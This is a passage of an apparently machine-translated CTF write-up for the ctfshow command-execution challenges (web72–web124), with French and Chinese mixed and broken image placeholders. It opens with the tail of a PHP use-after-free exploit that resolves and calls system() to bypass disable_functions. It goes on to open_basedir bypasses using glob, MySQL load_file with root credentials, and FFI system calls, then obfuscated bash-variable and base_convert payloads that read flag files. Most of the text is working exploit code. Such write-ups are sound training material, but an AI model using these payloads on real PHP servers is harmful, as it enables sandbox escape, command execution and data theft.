continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
# ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
# system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
La commande Ctfshow exécute web73
open_basedir
Le code source est le même, mais cette question comporte une restriction d'élément de configuration de moins que web72 .
Lisez le répertoire racine, le flag est dans flagc.txt
le fichier
c=var_export(scandir('/'));exit();
[Échec du transfert d'image par lien externe. Le site source peut avoir un mécanisme anti-sangsue. Il est recommandé de sauvegarder l'image et de la télécharger directement (img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou .aliyuncs.com/img /202308191925376.png)]
Mais ici, include
le drapeau est lu.
c=include('/flagc.txt');var_export(get_defined_vars());die();
[Échec du transfert d'image par lien externe. Le site source peut avoir un mécanisme anti-sangsue. Il est recommandé de sauvegarder l'image et de la télécharger directement (img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou .aliyuncs.com/img /202308191929591.png)]
La commande Ctfshow exécute web74
Le code source est le même.
scandir()
Fonction désactivée .
[Échec du transfert d'image par lien externe. Le site source peut avoir un mécanisme anti-sangsue. Il est recommandé de sauvegarder l'image et de la télécharger directement (img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou .aliyuncs.com/img /202308191933891.png)]
Lire le répertoire racine : (l'indicateur est dans flagx.txt
le fichier)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();
Le reste est le même que web73.
c=include('/flagx.txt');var_export(get_defined_vars());die();
La commande Ctfshow exécute web75
Cela ressemble à avant.
Cette question ajoute open_basedir
des restrictions.
Lire le répertoire racine : (l'indicateur est dans flag36.txt
le fichier)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
La tentative de lecture de l'indicateur à l'aide du script web72 a échoué.
La solution de l'indice officiel est la suivante :
utilisez mysql
le load_file
fichier lu pour contourner open_basedir
la restriction. (Restre uniquement le répertoire d'accès de PHP, pas l'activité de MYSQL)
Le nom de la base de données et le mot de passe du compte peuvent être obtenus via des questions précédentes (celles avec moins de filtrage). Par conséquent, la condition de cette méthode est que vous devez avoir un nom de base de données, un mot de passe de compte
L'extension PHP Data Objects (PDO) définit une interface légère et cohérente permettant à PHP d'accéder aux bases de données.
PDO fournit une couche d'abstraction d'accès aux données, ce qui signifie que quelle que soit la base de données utilisée, les mêmes fonctions (méthodes) peuvent être utilisées pour interroger et obtenir des données.
PDO est publié avec PHP5.1 et la condition d'application est PHP>5.1
charge utile:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
La commande Ctfshow exécute web76
Comme pour web75, le nom du fichier d'indicateur est flag36d.txt
.
charge utile:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Exécution de la commande Ctfshow web77
Description de la question : La dernière question sur l'exécution de la commande, php7.4, en gros, l'exécution de la commande touche à sa fin (php7.4 devrait penser à FFI)
Cela ressemble à avant, c'est juste que ça ressemble.
Lire le répertoire racine : (l'indicateur est dans /readflag
le fichier)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
Mais la méthode PDO ne peut pas être utilisée.
Cette question utilise l'extension FFI pour exécuter des commandes en langage C (?) afin de contourner open_basedir
les restrictions. (Restre uniquement le répertoire d'accès de PHP, sans rapport avec le langage C)
FFI : Disponible uniquement pour php7.4 et supérieur, c'est une extension de PHP. Fournit un moyen d’écrire des extensions et des liaisons PHP aux bibliothèques C en PHP pur.
Articles de référence :
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807 .html
charge utile : (n'oubliez pas de supprimer les commentaires)
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt'; //没有回显,需要重定向到文件
$ffi->system($a); //通过$ffi去调用system函数
Exécution de la commande Ctfshow web118
Description du titre : drapeau dans flag.php
Ouvrez le sujet.
Il y a des indices dans le code source :system($code);
Le filtrage est un peu brutal, et ce sont les seuls caractères qui peuvent être utilisés pour le fuzzing, les majuscules et quelques symboles.
On ne peut pas utiliser grand-chose, mais la structure Bash内置变量
est adéquate.
Notre charge utile est généralement cat/nl等命令
+ flag.php
. flag.php
Nous pouvons utiliser des caractères génériques à la place ????.???
. cat/nl等命令
Nous pouvons l'utiliser Bash内置变量
.
La variable d'environnement PATH
est généralement /bin
, et le chemin de la question PWD
est /var/www/html
.
Normalement on peut utiliser 切片
:
echo ${
PWD}
echo ${
PWD:0:1}
echo ${
PWD:0:3}
echo ${
PWD:1:1}
echo ${
PWD:2:3}
echo ${
PWD:~0:1} //从末尾开始取一个
Mais la question filtre les nombres, le découpage ne peut donc pas être utilisé. Obtenez les personnages d'une autre manière.
Linux peut l'utiliser pour ~
obtenir les derniers chiffres d'une variable (en commençant par la fin). Lorsque vous utilisez le signe de négation, n'importe quelle lettre est équivalente au chiffre 0.
echo ${
PWD}
echo ${
PWD:~0}
echo ${
PWD:~1}
echo ${
PWD:~2}
echo ${
PWD:~j}
echo ${
PWD:~J}
Par conséquent, ${PATH:~A}${PWD:~A}
il représente PATH
la dernière lettre de et PWD
la dernière lettre de , et la combinaison est nl.
charge utile:
${
PATH:~A}${
PWD:~A} ????.???
Équivalent à:nl flag.php
Autres charges utiles possibles : (La seconde est donnée par le responsable, mais n'a pas été publiée par ma propre pratique)
${
PATH:${
#HOME}:${
#SHLVL}}${
PATH:${
#RANDOM}:${
#SHLVL}} ?${
PATH:${
#RANDOM}:${
#SHLVL}}??.???
${
PATH:~A}${
PATH:${
#TERM}:${
SHLVL:~A}} ????.???
${
PATH:~A}${
PWD:~A:${
##}} ????.???
Article de référence :
https://www.cnblogs.com/sparkdev/p/9934595.html#title_0
https://blog.51cto.com/allenh/1695810
Exécution de la commande Ctfshow web119
Cette question comporte plus de filtres que la question précédente PATH
.
Développez Bash内置变量
les caractères de construction :
${RANDOM} : nombres aléatoires
${PWD} :/var/www/html
${USER} :www-données
${HOME} : le répertoire personnel de l'utilisateur actuel
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。
IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3
charge utile:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
La commande Ctfshow exécute web120
Cette fois le code source est donné directement, le filtrage est le même que web119, mais la longueur est limitée à 64 ou moins.
La première charge utile de web119 est touchée directement.
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
Exécution de la commande Ctfshow web121
Le code source est donné directement, mais cette fois il y a un peu plus de filtrage.
Regardez simplement les trois charges utiles de web119. HOME
, USER
, SHLVL
. Après avoir été filtrés, les deux premiers ont peu d’impact, donc ce n’est pas grave si vous ne les utilisez pas. Le filtrage ${#SHLVL}
peut être effectué à l'aide de ${##}
, ${#?}
.
charge utile:
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
La commande Ctfshow exécute web122
indice:fuzz
J'ai donné le code source directement, et cette fois il a été filtré.Toutes PWD
les #
charges utiles précédentes ne peuvent pas être utilisées.
Nous choisissons d'utiliser base64 pour obtenir le drapeau. (/bin/base64 flag.php, constructeur cible /???/?????4 ????.???
)
Après filtrage PWD
, nous pouvons toujours l'utiliser HOME
. Peu importe HOME
ce que c'est (comme /xxx/xxx), HOME
le premier doit être /
.
Il nous suffit ensuite de résoudre le problème de la construction des nombres. Nous avons besoin de la somme 1
des nombres 4
.
Nous pouvons l'utiliser $?
pour obtenir la valeur de retour après l'exécution de la commande précédente, 0
ce qui signifie succès ou 非0
échec. Les valeurs de retour non nulles sont les suivantes :
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
"OS error code 11: Resource temporarily unavailable"
"OS error code 12: Cannot allocate memory"
"OS error code 13: Permission denied"
"OS error code 14: Bad address"
"OS error code 15: Block device required"
"OS error code 16: Device or resource busy"
"OS error code 17: File exists"
"OS error code 18: Invalid cross-device link"
"OS error code 19: No such device"
"OS error code 20: Not a directory"
"OS error code 21: Is a directory"
"OS error code 22: Invalid argument"
"OS error code 23: Too many open files in system"
"OS error code 24: Too many open files"
"OS error code 25: Inappropriate ioctl for device"
"OS error code 26: Text file busy"
"OS error code 27: File too large"
"OS error code 28: No space left on device"
"OS error code 29: Illegal seek"
"OS error code 30: Read-only file system"
"OS error code 31: Too many links"
"OS error code 32: Broken pipe"
"OS error code 33: Numerical argument out of domain"
"OS error code 34: Numerical result out of range"
"OS error code 35: Resource deadlock avoided"
"OS error code 36: File name too long"
"OS error code 37: No locks available"
"OS error code 38: Function not implemented"
"OS error code 39: Directory not empty"
"OS error code 40: Too many levels of symbolic links"
"OS error code 42: No message of desired type"
"OS error code 43: Identifier removed"
"OS error code 44: Channel number out of range"
"OS error code 45: Level 2 not synchronized"
"OS error code 46: Level 3 halted"
"OS error code 47: Level 3 reset"
"OS error code 48: Link number out of range"
"OS error code 49: Protocol driver not attached"
"OS error code 50: No CSI structure available"
"OS error code 51: Level 2 halted"
"OS error code 52: Invalid exchange"
"OS error code 53: Invalid request descriptor"
"OS error code 54: Exchange full"
"OS error code 55: No anode"
"OS error code 56: Invalid request code"
"OS error code 57: Invalid slot"
"OS error code 59: Bad font file format"
"OS error code 60: Device not a stream"
"OS error code 61: No data available"
"OS error code 62: Timer expired"
"OS error code 63: Out of streams resources"
"OS error code 64: Machine is not on the network"
"OS error code 65: Package not installed"
"OS error code 66: Object is remote"
"OS error code 67: Link has been severed"
"OS error code 68: Advertise error"
"OS error code 69: Srmount error"
"OS error code 70: Communication error on send"
"OS error code 71: Protocol error"
"OS error code 72: Multihop attempted"
"OS error code 73: RFS specific error"
"OS error code 74: Bad message"
"OS error code 75: Value too large for defined data type"
"OS error code 76: Name not unique on network"
"OS error code 77: File descriptor in bad state"
"OS error code 78: Remote address changed"
"OS error code 79: Can not access a needed shared library"
"OS error code 80: Accessing a corrupted shared library"
"OS error code 81: .lib section in a.out corrupted"
"OS error code 82: Attempting to link in too many shared libraries"
"OS error code 83: Cannot exec a shared library directly"
"OS error code 84: Invalid or incomplete multibyte or wide character"
"OS error code 85: Interrupted system call should be restarted"
"OS error code 86: Streams pipe error"
"OS error code 87: Too many users"
"OS error code 88: Socket operation on non-socket"
"OS error code 89: Destination address required"
"OS error code 90: Message too long"
"OS error code 91: Protocol wrong type for socket"
"OS error code 92: Protocol not available"
"OS error code 93: Protocol not supported"
"OS error code 94: Socket type not supported"
"OS error code 95: Operation not supported"
"OS error code 96: Protocol family not supported"
"OS error code 97: Address family not supported by protocol"
"OS error code 98: Address already in use"
"OS error code 99: Cannot assign requested address"
"OS error code 100: Network is down"
"OS error code 101: Network is unreachable"
"OS error code 102: Network dropped connection on reset"
"OS error code 103: Software caused connection abort"
"OS error code 104: Connection reset by peer"
"OS error code 105: No buffer space available"
"OS error code 106: Transport endpoint is already connected"
"OS error code 107: Transport endpoint is not connected"
"OS error code 108: Cannot send after transport endpoint shutdown"
"OS error code 109: Too many references: cannot splice"
"OS error code 110: Connection timed out"
"OS error code 111: Connection refused"
"OS error code 112: Host is down"
"OS error code 113: No route to host"
"OS error code 114: Operation already in progress"
"OS error code 115: Operation now in progress"
"OS error code 116: Stale NFS file handle"
"OS error code 117: Structure needs cleaning"
"OS error code 118: Not a XENIX named type file"
"OS error code 119: No XENIX semaphores available"
"OS error code 120: Is a named type file"
"OS error code 121: Remote I/O error"
"OS error code 122: Disk quota exceeded"
"OS error code 123: No medium found"
"OS error code 124: Wrong medium type"
"OS error code 125: Operation canceled"
"OS error code 126: Required key not available"
"OS error code 127: Key has expired"
"OS error code 128: Key has been revoked"
"OS error code 129: Key was rejected by service"
"OS error code 130: Owner died"
"OS error code 131: State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full; Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"
L'exécution <A
d'autres commandes échouera car le répertoire ou le fichier est introuvable et la valeur de retour est 1. La $?
valeur de retour après avoir obtenu l'exécution de la commande précédente est 1. Nous avons réussi à construire le chiffre 1.
Pour résumer : ce qui vient en premier <A;
et ensuite $?
est1
Le nombre 4 est toujours obtenu à l'aide de nombres aléatoires ALÉATOIRES, mais d'une manière différente, avec une probabilité de 1/10, plusieurs paquets sont envoyés.
charge utile : (${Z} représente 0)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
La commande Ctfshow exécute web124
Le code source est donné directement. C'était une question issue du concours national des années précédentes. Mais cet indicateur de question se trouve dans le répertoire courant.
Pour un wp détaillé, veuillez consulter :
collecte de charge utile :
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图
Le chapitre sur l’exécution des commandes est terminé et c’est fini ! (20/08/2023)